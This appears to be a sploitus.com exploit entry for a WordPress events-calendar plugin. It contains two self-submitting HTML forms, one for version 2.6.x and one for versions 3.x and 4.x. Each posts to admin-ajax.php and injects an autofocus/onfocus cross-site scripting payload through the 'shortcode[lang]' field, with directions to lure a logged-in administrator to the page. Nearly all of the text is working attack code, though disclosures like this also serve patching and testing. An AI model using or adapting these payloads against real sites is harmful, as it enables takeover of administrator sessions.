Share
## https://sploitus.com/exploit?id=WPEX-ID:586CF0A5-515C-43EA-8C03-F2F47ED13C2C
Make a logged in admin open a page containing one of the code below:
2.6.x (the cmonth and cyear need to match an opened event)
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="the_ajax_hook" />
<input type="hidden" name="evodata[cmonth]" value="1" />
<input type="hidden" name="evodata[cyear]" value="2024" />
<input type="hidden" name="shortcode[lang]" value="L1'onfocus=alert`XSS` autofocus " />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
3.x.y and 4.x.y
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="the_ajax_hook" />
<input type="hidden" name="shortcode[number_of_months]" value="999" />
<input type="hidden" name="shortcode[lang]" value="L1'autofocus=autofocus onfocus=alert`XSS` a=b" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>